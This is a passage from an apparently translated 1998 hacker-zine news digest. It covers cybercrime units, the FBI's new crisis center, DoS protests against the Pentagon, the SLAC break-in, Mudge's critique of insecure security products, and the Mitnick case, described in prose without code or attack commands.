Источники в ОКНШ добавляют, что оперативная группа рассматривается лишь как временное решение нарастающей потребности в специализированном подразделении для противодействия инцидентам кибервойны. В будущем планируется создать постоянное подразделение, возможно, под командованием одного из главнокомандующих воевыми командованиями США.

Пентагон фиксирует резкий рост компьютерных атак и других попыток получить доступ или заразить информационные сети Министерства обороны. Арт Мани, старший гражданский сотрудник МО, курирующий компьютерные операции, 10 июня заявил, что Пентагон подвергается в среднем 60 кибератакам в неделю.

---

## **0x9: Отслеживание глобальной киберпреступности**

**Автор:** Клаудия Грациано

**Дата:** 4:00 a.m., 25.Sep.98

Международная торговая палата объявила в четверг об открытии нового подразделения для помощи компаниям по всему миру в защите от киберпреступности.

«По сути, любые мошенничества, которые можно совершить физически, в киберпространстве совершить ещё проще», — сказал Эрик Эллен, исполнительный директор Палаты, который возглавит новое подразделение.

[Ух ты.. "физически".. три очка.]

Лондонское подразделение будет сотрудничать с Интерполом в борьбе с масштабными технологическими преступлениями — такими как отмывание денег, промышленный шпионаж и инвестиционное мошенничество, — в отличие от мелкого потребительского мошенничества вроде продажи несуществующих товаров в сети.

Глава Интерпола Рэй Кендалл сказал, что международное полицейское ведомство годами добивалось подобного альянса с частным сектором, поскольку тот может действовать быстрее правительств при закупке оборудования, необходимого для расследования высокотехнологичных преступлений.

Подразделение по борьбе с киберпреступностью будет обеспечивать 7 000 членов Международной торговой палаты информацией о том, как и где совершаются различные типы преступлений в сети и что предприятия могут сделать для защиты от взломщиков и мошенников.

Официальный представитель Федеральной торговой комиссии похвалил усилия комиссии по повышению осведомлённости о мошенничестве в интернете внутри страны.

«Мы приветствуем любые международные усилия по борьбе с кибермошенничеством, поскольку преступления и мошенничество в отношении потребителей или предприятий лишь подрывают электронный рынок и сдерживают огромные возможности, открываемые интернет-торговлей», — сказал Пол Луэр, помощник директора комиссии.

Палата заявила, что надеется убедить правительства, включая США, отменить ограничения, сдерживающие распространение и доступность надёжных алгоритмов шифрования.

Эта позиция противоречит позиции американских правоохранительных органов, которые в настоящее время ограничивают экспорт мощной криптографии на том основании, что она может использоваться террористами. Между тем американские сторонники криптографии давно утверждают, что шифры лучше подходят для борьбы с преступностью, чем для её сокрытия.

«С нашей стороны будет определённый лоббизм, но многие предприятия не могут ждать, пока появятся законы, — сказал Эллен. — Преступления пересекают международные границы, тогда как существующие законы [против киберпреступности] — национальные».

Подразделение Палаты по киберпреступности будет регулярно встречаться с Интерполом в Лионе, Франция, для обмена информацией и разведывательными данными о киберпреступности и её исполнителях.

Кроме того, подразделение Палаты планирует обмениваться информацией с Национальным центром защиты инфраструктуры ФБР и подразделением ФБР по обеспечению национальной безопасности, защищающим интересы американских предприятий.

Штаб-квартира Международной торговой палаты находится в Париже. Организация устанавливает правила, регулирующие деятельность предприятий по всему миру. Некоммерческая группа имеет консультативный статус высшего уровня при Организации Объединённых Наций, где представляет интересы бизнеса в странах мира.

---

## **Оха: ФБР открывает высокотехнологичный кризисный центр**

**Автор:** Майкл Дж. Снаффен

**Дата:** пятница, 20 ноября 1998 г., 9:29 EST

Вступая в свой 91-й год с новыми обязанностями, распространяющимися по всему миру, ФБР сегодня открыло высокотехнологичный оперативный центр стоимостью \$20 млн, почти равный по площади футбольному полю, позволяющий штабу управлять до пятию кризисами одновременно.

Новый Стратегический информационно-оперативный центр, называемый «SIOC» (произносится «сай-ок»), имеет 35 отдельных комнат общей вместимостью до 450 человек и занимает 40 000 квадратных футов на пятом этаже штаб-квартиры ФБР на Пенсильвания-авеню. Он в 10 раз больше своего двадцатилетнего предшественника, который с трудом мог одновременно справляться с двумя кризисами.

Руководство бюро убедилось в устарелости старого SIOC летом 1996 года, когда пыталось одновременно управлять расследованиями взрыва на Олимпиаде в Атланте, катастрофы TWA 800 и грузового взрыва в казармах Хобар в Саудовской Аравии.

«Не хватало ни комнат, ни телефонов, — сказал директор ФБР Луис Дж. Фри. — Люди работали за столами в коридоре снаружи и читали совершенно секретные материалы в зоне торговых автоматов напротив».

Сверхсекретный объект без окон на улицу и внешних стен сегодня принимает частную церемонию открытия с участием бывшего президента Джорджа Буша, пока ФБР отмечает своё 90-летие.

Представляя репортёрам новый SIOC в рамках единственного ознакомительного тура, Фри отметил, что объект является символом расширившихся обязанностей и технологических возможностей бюро.

Он отметил, что самый быстро растущий компонент бюро — Центр по борьбе с терроризмом — расположен в офисах вокруг SIOC, как и подразделение по особо тяжким преступлениям, занимающееся внутренними атаками, такими как взрыв в Оклахома-Сити или угоны самолётов.

Значительная часть работы по борьбе с терроризмом теперь выходит за рубеж — в Саудовскую Аравию, где двух американских военных убили при двух взрывах, и в Восточную Африку, где были взорваны два посольства США. По словам Фри, за последние пять лет ФБР почти вдвое увеличило число своих юридических атташе, работающих за рубежом, — теперь их 32 города. Ещё восемь должны открыться в ближайшее время: в Алматы, Казахстан; Анкаре, Турция; Бразилиа, Бразилия; Копенгагене, Дания; Праге, Чехия; Санто-Доминго, Доминиканская Республика; Сингапуре и Сеуле, Корея.

Компьютеры на столах по всему центру и видеоэкраны размером 5 на 15 футов на стенах почти каждой комнаты могут отображать не только американское телевидение, но и местные телеканалы иностранных государств. Блоки цифровых часов с красными цифрами в каждой комнате могут показывать местное время в пяти-шести местах одновременно.

Новый Национальный центр защиты инфраструктуры ФБР, созданный для предотвращения атак на государственные или частные компьютерные системы, обеспечивающие жизнедеятельность Америки, и реагирования на них, будет иметь трёх представителей в каждой из 10-членных дежурных групп, постоянно обслуживающих центр. Также круглосуточно будет присутствовать представитель Криптологической группы безопасности Агентства национальной безопасности для предоставления информации из мирового электронного наблюдения правительства.

За рядом светлых деревянных дверей многоуровневый лабиринт рабочих комнат — многие из которых можно объединять или делить по мере необходимости — имеет светло-серые ковры, бледно-серые стены и тёмно-серые металлические столы с белыми пластиковыми столешницами. Столы стационарно закреплены только в двух диспетчерских, управляющих потоком информации в каждую комнату; в остальных местах они модульные и могут быть переставлены в любой момент над вмонтированными в пол электрическими и телефонными разъёмами. Внутренние окна обеспечивают обзор в конференц-залы или коридоры SIOC.

Рон Уилкоккс, заместитель начальника SIOC, сказал, что изолированные зоны позволят агентам бюро «работать в одной комнате с полицией округа Колумбия по делу о местном похищении, пока в другой комнате работают над делом о теракте с секретными данными».

Каждое рабочее место может принимать данные из трёх пар телефонных и компьютерных линий: несекретной, секретной и совершенно секретной с особыми условиями доступа.

Хотя центр будет получать информацию со всего мира, информация не будет выходить без разрешения. Центр экранирован от внешнего обнаружения электронных излучений, поэтому мобильные телефоны внутри не работают.

В Оперативных группах D и G, самой большой комнате вместимостью 118 человек, есть принтеры с рулонами бумаги шириной ярд для распечатки карт городов. Чтобы в комнате не стоял шум, звук с видеоэкранов транслируется беззвучно из чёрных коробок по всей комнате к наушникам, доступным каждому сотруднику.

Большинство кресел на колёсах имеют подлокотники. В рабочих комнатах они сине-зелёной ткани; в Зале для брифингов руководства, втором по величине помещении центра, — серой кожи: три полукруга из светлого дерева на 36 мест и стационарные театральные сиденья позади ещё для 50 человек.

По словам Уилкокса, вместо того чтобы увеличивать нагрузку на полевых агентов, обязанных отчитываться перед Вашингтоном, новый центр должен снизить такие требования, поскольку «мы предложим единое окно для штаба. Полевые агенты могут докладывать нам, и мы будем нести ответственность за оповещение всех, кто должен быть оповещён».

---

## **0xb: BMC борются с новым методом взлома**

**Автор:** Тим Кларк

**Источник:** CNET NEWS.COM

Хакеры объединяются по всему миру, чтобы проводить малозаметные атаки, стремясь проскользнуть под радары специалистов по безопасности и программного обеспечения для обнаружения вторжений, сообщила сегодня команда сетевой безопасности BMC США.

Зафиксированы скоординированные атаки из 15 различных точек на нескольких континентах, и эксперты BMC полагают, что злоумышленники собирают информацию, зондируя веб-сайты BMC, а затем делятся ею между собой.

«Эти новые шаблоны действительно трудно расшифровать — нужна экспертная криминалистика, чтобы найти улику», — сказал Стивен Норткатт, руководитель команды обнаружения вторжений Shadow в Центре надводных боевых действий BMC. — «Чтобы понять, что происходит на самом деле, потребуется, чтобы правоохранительные органы заполучили код хакеров и мы смогли его дизассемблировать».

Новый метод предполагает отправку всего двух подозрительных зондов в час на хост-компьютер — уровень активности, который обычно не обнаруживается стандартными средствами защиты. Однако, объединяя информацию, полученную в ходе этих зондов, хакеры могут собрать значительный объём знаний о сайте.

---

## **0xc: Пентагон блокирует DoS-атаку**

**Источник:** Newsbytes via NewsEdge

В этом месяце Пентагон запустил собственный атакующий апплет, чтобы сорвать атаку типа «отказ в обслуживании» против своего веб-сайта DefenseLink по адресу <http://www.defenselink.mil>.

DefenseLink стал одним из трёх сайтов, атакованных 7 сентября группой, называющей себя Electronic Disturbance Theater. Группа утверждала, что действует в знак солидарности с повстанцами-сапатистами в мексиканском штате Чьяпас, протестуя против финансирования Министерством обороны Школы Америки.

Другие целевые веб-сайты принадлежали Франкфуртской фондовой бирже Германии и президенту Мексики Эрнесто Седильо.

Веб-сайт театральной группы называл атаки виртуальной сидячей забастовкой. Посетители сайта группы получали враждебный Java-апплет, предназначенный для автоматической повторной загрузки DefenseLink и других веб-сайтов, пока браузеры посетителей были открыты.

Множественные одновременные запросы на перезагрузку могут перегрузить сервер, однако атаки, по всей видимости, имели небольшое воздействие, заявили официальные представители Министерства обороны.

«Наши сотрудники службы поддержки, безусловно, были осведомлены о планируемой атаке, — заявила пресс-секретарь Пентагона Сьюзан Хансен. — Они приняли превентивные меры для срыва атаки, чтобы DefenseLink оставался доступным».

Хансен не стала уточнять превентивные меры, однако театральная группа сообщила, а официальный представитель Министерства обороны подтвердил, что Пентагон направил собственный враждебный апплет в ответ атакующим.

«Браузеры получили обратно сообщение о том, что сервер (театральной группы) недоступен», — сказала Хансен.

Франкфуртская биржа сообщила, что запросы на перезагрузку практически не повлияли на её сервер.

Театральная группа пообещала второй раунд атак под названием FloodNet в период между 16 сентября — Днём независимости Мексики — и 12 октября — Днём Колумба.

Представители компании Finjan Inc. из Санта-Клары, Калифорния, занимающейся безопасностью программного обеспечения, заявили, что атаки стали первым случаем использования Java-апплетов в политическом протесте, хотя театральная группа заявляла об участии в других виртуальных сидячих забастовках против Седильо и президента Клинтона с апреля.

Группа является отсылкой к партизанскому театру йиппи 1960-х годов, которые однажды организовали попытку мысленно поднять Пентагон в воздух. Веб-сайт театральной группы <http://www.nyu.edu/projects/wray/ecd.html> пропагандирует электронное гражданское неповиновение. Попытка атаки на Пентагон была частью проекта Swarm, запущенного на фестивале Ars Electronic в Линце, Австрия.

Атаки Swarm, по имеющимся сведениям, не встретили большого одобрения среди хакеров, которые считают FloodNet злоупотреблением сетевыми ресурсами.

---

## **0xd: Хакеры уходят от сотрудников центра ускорителя**

**Источник:** San Francisco Chronicle

**Дата:** 06/11/98

Официальные лица Стэнфордского линейного ускорительного центра пересматривают политику открытости своей компьютерной системы спустя неделю после того, как хакеры вынудили их закрыть внешний доступ к компьютерной сети федерального исследовательского учреждения.

Внешний доступ к компьютерной системе центра был приостановлен после того, как сотрудники не смогли поймать хакеров, перехвативших пароль и перемещавшихся по более чем 30 Unix-серверам учреждения.

«Мы отследили хакеров до точки, где уже не могли их нагнать, — сказала пресс-секретарь центра П.А. Мур. — Человек или люди успешно заматали следы и проникали и выходили из учётных записей».

По словам Мур, до сих пор неясно, каким образом хакеры получили доступ к паролю и системе.

Но в результате взлома официальные лица пересматривают политику центра как открытого научного исследовательского учреждения. По её словам, рассматриваются предложения по ограничению компьютерной системы центра.

«Рассматривается ряд вариантов — от весьма мягких до более жёстких», — сказала она.

Мур сообщила, что большинство интернет-сервисов центра были восстановлены во вторник после принятия мер безопасности и инструкций для сотрудников о смене паролей.

Отключение не создало серьёзных проблем, хотя вызвало задержки во многих проектах и лишило исследователей со всего мира доступа к веб-сайту центра, отметила Мур.

Основанный в 1962 году, Центр линейного ускорителя финансируется Министерством энергетики и управляется Стэнфордским университетом. Имея около 1 300 сотрудников и 2 000 исследователей по всему миру, центр проводит фундаментальные исследования в области атомной и субатомной физики. Исследователи центра используют коллайдеры для изучения материи на атомном уровне. «По большей части мы потеряли время на экспериментах, — сказала Мур. — Мы не видим, чтобы какие-либо данные были скомпрометированы. Это скорее осложнение, чем серьёзная катастрофа».

Но, по её словам, будущие взломы останутся проблемой для открытого научного учреждения. Центр не проводит никаких засекреченных исследований, отметила она.

«Хакеры очень сложны с точки зрения их знаний и лёгкости передвижения в киберпространстве, — сказала она. — Мы уязвимы. Являясь открытым учреждением, мы являемся мишенью для вандалов». Стивен Хансен, сотрудник службы компьютерной безопасности Стэнфордского университета, сообщил, что взломы университетских систем происходят в среднем не реже двух раз в месяц.

Распространённым инструментом хакеров является компьютерная программа под названием «сниффер», позволяющая злоумышленникам декодировать данные в системе — в частности, пароли и имена для входа.

«Снифферы весьма опасны, — сказал Хансен. — Если их не поймать сразу, они могут привести к взломам тысяч учётных записей — не только локально, но и по всему интернету».

Чтобы минимизировать подобные взломы, по его словам, всё больше системных операторов используют программы шифрования, не позволяющие хакерам определять имена для входа и пароли. Однако это не простой вариант для Стэнфордского центра, поскольку программы шифрования запрещены в ряде стран, в том числе во Франции, где живут некоторые связанные с центром исследователи.

---

## **Охе: Кибератаки оставляют федералов гоняться за «призраком»**

**Автор:** Боб Брюин (antenna@fcw.com)

Высокопоставленные должностные лица администрации на прошлой неделе предупредили, что США не обладают возможностью быстро определять характер и масштаб продолжающейся серии кибератак против федеральных и частных систем, обеспечивающих критически важные инфраструктуры страны — телекоммуникации, финансовую отрасль и энергетику.

В ходе ряда слушаний в Конгрессе и в публичных выступлениях на прошлой неделе федеральные эксперты по безопасности и информационным технологиям дали ясно понять, что предвидят мощную атаку на «ахиллесову пяту» в киберпространстве, способную парализовать жизненно важные системы страны, поскольку правительство не в состоянии защититься от подобной атаки.

Джон Хамре, заместитель министра обороны, заявил Комитету Палаты представителей по национальной безопасности, что такая парализующая кибератака на критически важные инфраструктуры неизбежна. «Когда-нибудь в нашем будущем произойдёт электронная атака, — сказал он. — Если атака случится, она, скорее всего, будет направлена не только на военные цели, но и на гражданские». Официальные представители администрации также сообщили, что атаки



продолжаются в прежнем темпе.

Арт Мани, которому предстоит стать помощником министра обороны по командованию, контролю, связи и разведке, заявил на конференции в Вашингтоне, что МО «в среднем подвергается 60 вторжениям в неделю» в свои компьютерные системы. Официальный представитель нового Национального центра защиты инфраструктуры ФБР (NIPC) сообщил, что ведомство расследует «полдюжины» инцидентов, охарактеризовав их как «существенные».

Однако ведомства безопасности отметили, что процесс поиска и идентификации злоумышленников вызывает разочарование — как в случае с широко освещавшейся серией взломов компьютеров Министерства обороны в феврале прошлого года. ФБР и многочисленные ведомства МО совместно отслеживали хакеров, однако не смогли «установить в течение следующей недели» источник и тип атаки, сообщила Элли Паджетт, заместитель начальника Агентства национальной безопасности, выступая перед Подкомитетом по технологиям, терроризму и государственной информации Судебного комитета Сената.

Паджетт заявила, что агентству по-прежнему потребуется «несколько дней», чтобы определить, является ли атака стратегической или просто подростковой выходкой.

Майкл Ватис, директор NIPC, сообщил комитету, что «в большинстве кибератак невозможно установить личность взломщика» — будь то хакеры-подростки, преступники или стратегическая атака враждебного государства. В интервью Ватис сравнил поимку хакеров с «отслеживанием призрака».

Барри Коллин, старший исследователь Института безопасности и разведки, заявил, что со временем всё труднее будет идентифицировать стратегические атаки, поскольку достаточно сложная нация, способная развернуть кибервойну против США, также будет иметь достаточно возможностей, чтобы замаскировать её под подростковую хакерскую атаку. «Они могут сделать так, чтобы это выглядело как игра, а не реальная атака», — сказал он.

## **«Фаза охоты»**

Безопасников также беспокоит возможность того, что атаки будут проводиться быстрыми ударами на протяжении длительного периода времени, сказал Хамре. «Фаза охоты может длиться несколько лет, что затрудняет объединение любопытных, казалось бы, не связанных между собой событий в единую картину, — сказал он. — Эти долгосрочные атаки "могут охватывать несколько юрисдикций — например, энергосети или узлы управления воздушным движением в различных штатах. Наши знания об источнике таких атак и их организаторах, скорее всего, будут неточными"».

Хамре также представил засекреченные показания на совместном закрытом заседании Подкомитета по военным закупкам и Подкомитета по военным исследованиям и разработкам Комитета Палаты представителей по национальной безопасности. По всей видимости, Хамре представил более детальные свидетельства компьютерных уязвимостей — судя по замечаниям конгрессмена Кёрта Уэлдона (республиканец от Пенсильвании), председателя Подкомитета по военным исследованиям и разработкам, назвавшего засекреченные показания Хамре «самым провокационным брифингом», который он когда-либо получал за 12 лет работы в Конгрессе.

Администрация Клинтона надеется защитить критически важные инфраструктуры с помощью недавно созданных организаций по безопасности, включая Национальный план обеспечения инфраструктуры, Ячейку анализа сетевых инцидентов АНБ и Управление обеспечения критически важной инфраструктуры (CIAO) в Министерстве торговли. CIAO возглавит многоведомственные усилия по разработке лучшей политики, процессов, процедур и систем для обнаружения и предотвращения атак.

Администрация также планирует активно привлекать частный сектор — банки, энергетические компании и железнодорожные компании — к «государственно-частным партнёрствам» для защиты инфраструктуры.

Члены Конгресса с обеих сторон восхваляли первоначальные усилия администрации, но также выражали определённый скептицизм относительно выбранного подхода. Сенатор Дайан Файнштейн (демократ от Калифорнии) заявила, что «задумывается, будет ли работать связка между государственным и частным секторами».

Конгрессмен Герберт Бейтман (республиканец от Вирджинии) заявил, что «глубоко скептически» относится к размещению CIAO в Министерстве торговли, а не в Министерстве обороны.

Бейтман отметил, что готовность Министерства торговли разрешить экспорт критически важных спутниковых и ракетных технологий Китаю оставила его «неубеждённым» в том, что Министерство торговли обладает той же «чувствительностью» к требованиям национальной безопасности, что и Пентагон.

---

## **0xf: Конгресс атакует фонды киберзащиты**

**Источник:** Defense News

**Дата:** 16.06.98

Конгресс США изымает миллионы долларов из военной казны, предназначенной для защиты критически важной инфраструктуры США от потенциально разрушительных кибератак, по сведениям источников в Министерстве обороны и Белом доме. Комитет по ассигнованиям Палаты представителей удалил весь запрошенный Министерством обороны на защиту инфраструктуры бюджет в размере \$69,9 млн на 1999 год. Это финансирование необходимо восстановить, заявил Линтон Уэллс, главный заместитель помощника министра обороны по командованию, контролю, связи и разведке, законодателям на слушаниях 11 июня по защите национальной инфраструктуры — телекоммуникаций, банков и финансов, энергетики, транспорта и ключевых государственных служб — от кибератак.

[Итак, они создают все эти новые группы для борьбы с киберпреступностью... и вот чем это заканчивается?]

---

## **0x10: Mudge о вендорах безопасности**

**Источник:** Bugtraq

В бюллетене SAFER упоминается компрометация программного обеспечения, специально установленного в качестве дополнительной меры безопасности.

Шутя, я рассказывал коллегам об ужасающем качестве некоторых (большинства) продуктов в области безопасности, существующих сейчас на рынке. Не с точки зрения того, что они заявляют о своих возможностях, а с точки зрения отсутствия грамотного программирования в самих их продуктах. Я думал, это само собой разумеется, но удивлённые лица коллег говорили об обратном. Поэтому я решил указать на это на случай, если их предположение было не единичным. Надеюсь, что для читателей Bugtraq это давно очевидно.

[Примечание: хотя я явно упоминаю ISS и Axent, они ничуть не хуже и не лучше других, здесь не упомянутых... Кроме того, я имею в виду более старые версии их продуктов. Я не изучал их

последние выпуски, чтобы проверить, стало ли лучше или хуже. Воспринимайте это как общее ворчание о состоянии мира вендоров безопасности, а не как атаку на конкретных вендоров.]

Несколько реальных случаев:

В одной из старых версий коммерческого сканера безопасности ISS было несколько уязвимостей. Одна компания наняла меня, чтобы я составил отчёт об уровне компетентности нанятой ими аудиторской фирмы.

Разумеется, когда аудитор просканировал машину, которую мы настроили, он использовал ISS (версия 3? память подводит). При попытке подключиться к tcp/79 (fingerd) мы вернули ему кучу «мусора» (ну, вы знаете... тот самый мусор, который состоит из длинной последовательности NOP, за которой следуют зависящие от архитектуры опкоды и операнды :). После нескольких попыток права root на сканирующей машине были переданы нам, так как никаких проверок данных, получаемых при соединении (а точнее, делались предположения о длине), не выполнялось.

...

Агент клялся и божился, что их системы ESM общаются по DES-шифрованным каналам. На самом деле в коммуникациях просто применялся XOR, и каждые X пакетов отправлялся последовательный XOR-ключ. Компоненты DES планировалось добавить в «следующей ревизии». Неважно — суть в том, что им вообще не следовало применять схему XOR, учитывая, что коммуникации между клиентом и сервером представляют собой «списки» уязвимостей на данных машинах. Это не то, что вы хотите рекламировать пассивному наблюдателю.

...

Я не знаю, сколько «защитных» пакетов я видел, которые делают безумно глупые вещи — `chmod(777)`, `ropen()` или даже `system()`! Даже если программа работает без привилегий и предназначена для системы без нескольких пользователей, это демонстрирует, что люди, пишущие код для защиты ваших систем (зачастую по возмутительным ценам!) явно не способны продемонстрировать разумные методы программирования.

Как можно получить «тёплое чувство защищённости», когда защищающие вас продукты не демонстрируют никакой компетенции в области безопасности.

Вендоры, слушайте!

.mudge

---

## 0x11: Новые задержки в деле Митника

**Автор:** Кевин Поулсен

**Дата:** 25 ноября 1998 г., 3:33 PM PT

**Источник:** ZDNet

Обвиняя государственных прокуроров в затягивании усилий по сбору ключевых документов, адвокат защиты Кевина Митника, известного хакера-преступника, во вторник запросил перенос слушаний. Согласно ходатайству Дональда Рэндольфа, правительство пропустило установленный судом срок предоставления защите копий показаний свидетелей обвинения. Показания были наконец переданы во вторник — почти с месячным опозданием.

Кроме того, обвинение почти на неделю отстаёт с передачей перечня доказательств защите. Некоторые электронные доказательства полностью скрываются, утверждает Рэндольф.

## **Задержки обвинения**

«В связи со значительным опозданием правительства в предоставлении материалов расследования в соответствии с предписанием суда и в связи с его продолжающимся непредоставлением определённых доказательств, защита не в состоянии компетентно завершить расследование и подготовиться к судебному разбирательству при отсутствии разумного переноса даты судебного процесса», — говорится в ходатайстве.

Первоначально судебный процесс был назначен на 19 января 1999 года.

Обвинители выступили против любой задержки. «Утверждение о том, что мы опоздали с материалами, является неправдивым, — говорит прокурор Дэвид Шиндлер. — Мы предоставили тысячи страниц материалов расследования».

## **Правительственный «крот»?**

В тексте ходатайства также содержится намёк на то, что правительство заплатило Рону Остину — бывшему компаньону Митника и сотруднику предыдущего адвоката Митника — за слежку за своим клиентом.

«Остин был осведомлён о конфиденциальных переговорах между г-ном Митником и г-ном Шерманом, которые он впоследствии раскрыл правительству», — говорится в заявлении.

---

## **0x12: «Чёрный ход» далеко не уходит**

**Источник:** San Jose Mercury News

Государственная комиссия США потерпела неудачу в двухлетней попытке разработать федеральную систему компьютерной безопасности, включающую «чёрные ходы» — функцию, позволяющую правоохрнительным органам вести слежку, по словам людей, знакомых с этой работой. Провал ещё больше ставит под сомнение политику администрации Клинтона — обязательную для государственных ведомств и настоятельно рекомендованную частному сектору — включать подобные чёрные ходы в технологии компьютерного шифрования, используемые для защиты данных и коммуникаций, по мнению сторонних экспертов.

Однако официальные представители администрации заявили, что комиссии, срок полномочий которой истекает в июле, просто нужно больше времени. 22-членная комиссия, назначенная министром торговли в 1996 году, пришла к выводу на заседании на прошлой неделе, что не может преодолеть технические препятствия при создании масштабной инфраструктуры, отвечающей потребностям правоохрнительных органов, сообщили члены комиссии. Группе было поручено написать официальный государственный план, известный как «Стандарт федеральной обработки информации» (FIPS), с подробным описанием того, как государственным органам следует строить системы, включающие чёрные ходы.

---

## **0x13: Сотрудник ICSA притворяется хакером**

**Источник:** Forbes Digital Tool

**Автор:** Адам Пененберг

J3 проводит дни, рыская по хакерскому андерграунду, мониторя хакерские каналы в IRC, изучая последние новости о «фрикинге» — взломе телефонных систем, — набирая номера форумов и проверяя веб-сайты, предлагающие программы для взлома паролей и инструкции.

Для J3 это не просто хобби — это работа.

ICSA, компания по компьютерной безопасности, наняла J3 (не его настоящее имя и не его сетевой «ник», поскольку его успех зависит от полной анонимности) два года назад в качестве ведущего аналитика по андерграунду. Его миссия: следить за последними тенденциями и инструментами в мире хакеров. Узнав о новой уязвимости безопасности, он передаёт информацию техническому персоналу ICSA, чтобы компания могла либо разработать защиту, либо предупредить производителей программного обеспечения до того, как уязвимость будет использована.

J3 очень занят. Недавно группа европейских хакеров выпустила программу-троян, позволявшую им устанавливать бэкдоры в программах, известных только сетевым администраторам, таких как программы named, связанные с серверами доменных имён — базовым компонентом любой сети, подключённой к интернету. J3 узнал об этом в ходе своего мониторинга, сообщил в ICSA, и компания проинформировала CERT (Группу реагирования на компьютерные чрезвычайные ситуации), опубликовав предупреждение.

Он также сыграл важную роль в обнаружении ICSA двух типов атак типа «отказ в обслуживании» — Teardrop и Land, — которые использовались для эксплуатации уязвимостей в протоколе TCP/IP. Эти новые атаки воспользовались модификациями, позволявшими обходить существующие патчи, что существенно затрудняло системным администраторам возможность опережать хакеров. Но J3, благодаря своим связям в андерграунде, смог узнать об этих эксплоитах вскоре после их появления на хакерских каналах.

«Я горжусь большей частью нашей работы, — говорит J3. — Мне удавалось находить полные файлы паролей компаний, размещённые на сайтах, или что хакеры имеют root в сети, или что торговый сайт с базой данных кредитных карт был скомпрометирован. После этого я связываюсь с компаниями и предупреждаю их».

По его словам, интернет очень похож на «Повелителя мух» — жестокий, насильственный, пусть и виртуальный мир, где сильные запугивают слабых. Конечно, не все хакеры деструктивны. Есть много хороших, стремящихся к чистому знанию — источнику жизненной силы их призвания, — которые публикуют уязвимости безопасности, поскольку считают это лучшим способом их устранения. Те, кто эксплуатирует эти уязвимости, чтобы нанести вред, раздражают J3.

Но у них есть уязвимость: потребность в самовосхвалении, что и является ключом к успеху J3. «Если бы хакеры не хвастались, у меня не было бы работы», — говорит он.

J3, работающий преимущественно ночью, поскольку интернет никогда не спит, не только штатный сотрудник. Он ещё и аспирант, работающий над докторской диссертацией по психологии. Тема его исследования?

Хакеры, конечно же.

---

## 0x14: Ваш ребёнок — хакер?

**Источник:** Family PC Magazine

**Дата:** ноябрь 1998 г.

**Автор:** Кевин Поулсен

Если вы подозреваете, что ваш ребёнок — компьютерный хакер, вот несколько советов от осуждённого хакера о том, как с этим справиться.

Всё начинается со стука в дверь. Дюжина мужчин в костюмах и с плечевыми кобурами стоят снаружи, их Buick и Bronco набиты в вашу подъездную дорожку и припаркованы вдоль улицы. Через их плечи вы видите соседей в халатах, наблюдающих за зрелищем с лужаек. Это может быть ФБР, а может — Секретная служба, но кто бы это ни был, угрюмые агенты суют вам бумагу и направляются в комнату вашего сына или дочери. Возможно, вы впервые задаётесь вопросом, чем ваш ребёнок занимается там за компьютером.

Если вы родитель, вы, вероятно, воспринимаете интернет как источник как возможностей, так и опасностей для своих детей. Он может быть бесценным учебным инструментом и способом побудить детей освоить базовые компьютерные навыки, которые им в конечном счёте понадобятся. Но что если они слишком увлекутся и начнут проникать туда, куда их не звали? В этом случае обычный подростковый бунт или простое любопытство, проявленное в интернете, может перевернуть вашу семью с ног на голову.

Именно это произошло в феврале прошлого года в Кloverдейле, Калифорния, когда ошеломлённые родители узнали, что их сын-подросток подозревается в серии вторжений в системы Пентагона. Это случилось снова в Массачусетсе неделю спустя, когда Министерство юстиции добилось первого в истории осуждения несовершеннолетнего по Федеральному закону о компьютерных мошенничестве и злоупотреблениях.

Это случилось с моей семьёй 15 лет назад, в ходе одного из первых хакерских рейдов в стране. Тогда именно я был подростком-правонарушителем, незаконно получавшим доступ к федеральным компьютерам. Сейчас мне за тридцать, и я начал задумываться, как уберечь собственного ребёнка от того, чтобы не стать мальчиком для битья компьютерной преступности. Я считаю, что лучший подход — оставаться в курсе дел и общаться с потенциальными киберпанками.

## **Открытые каналы связи**

Некоторые вещи, которые вы могли бы воспринять как зловещие предупреждающие знаки, на самом деле вполне безобидны. Например, если ваш подросток называет себя «хакером», это не обязательно означает, что он на пути к неприятностям. Вопреки нагнетанию паники в СМИ, хакеры по определению не являются правонарушителями. Слово на самом деле описывает человека с талантом к технологиям, глубоким интересом к тому, как всё работает, и склонностью отвергать любые ограничения. Если ваш сын разобрал Гига Пета, подаренного ему на Рождество, он, вероятно, хакер. Если заставил его работать лучше — точно хакер. Конечно, некоторые хакеры идут дальше и испытывают свои навыки против взрослого мира корпоративных и государственных компьютерных систем.

Если бы я подозревал, что мои дети взламывают компьютеры, я бы хотел это остановить — хотя и не потому, что это преступление века. Настоящие хакеры живут по этическому кодексу, исключая повреждение систем или получение прибыли от вторжений. Есть худшие ценности для подростка. Но независимо от мотивов хакер, пойманный сегодня за этим занятием, скорее всего, будет воспринят как промышленный шпион или угроза национальной безопасности. Один момент бунтарского исследования может привести подростка к раннему уголовному обвинению в тяжком преступлении.

Если вы подозреваете, что ваш ребёнок может переходить черту, на рынке есть различные программные продукты, позволяющие контролировать или ограничивать его доступ в интернет. Не думайте об их использовании. Если ваш подросток действительно хакер, ваше технологическое решение станет источником насмешки, а также оскорблением его таланта. Вместо того чтобы воздвигать барьеры, я предлагаю поговорить с детьми.

Если ваш ребёнок читает хакерские веб-сайты, прочтите их сами. Если у него есть подписка на хакерский журнал, просмотрите его и задайте вопросы. Не стесняйтесь восхищаться умностью последней хакерской техники. Затем поговорите о последствиях: растущей стоимости юридического представительства, проблемах, с которыми сталкивается осуждённый за тяжкое преступление в академической среде и на рынке труда. Начните искать альтернативы жизни в киберпреступности.

## **Конструктивные альтернативы**

Если у вашего ребёнка бунтарская жилка, я советую отказаться от попыток подавить её и попробовать направить в другое русло. Когда хакеры вырастают, они нередко находят разумную замену острым ощущениям вторжения, работая на другой стороне. Спросите вашего подростка, как он закрыл бы последние дыры в безопасности. Заставьте его задуматься. Попросите совета по защите собственной электронной почты или аккаунта у провайдера.

Хакерская традиция всегда содержала элемент неуважения к власти. До 15 лет назад взлом систем был приемлемым обрядом перехода в отрасли, и некоторые из тех же людей, что были пионерами искусственного интеллекта и персонального компьютера, также стали зачинателями телефонного фринга, взлома замков и компьютерных вторжений. Первые хакеры верили, что компьютеры являются общественным ресурсом и что доступ к ним и знания о них должны быть свободными.

В каком-то смысле хакеры первого поколения выиграли своё сражение, создав персональный компьютер: он дал им свободный доступ к вычислительной мощи в любое время. Сегодня дети могут заявить о той победе в интернете, создав веб-страницу. Есть много места для инноваций и творчества.

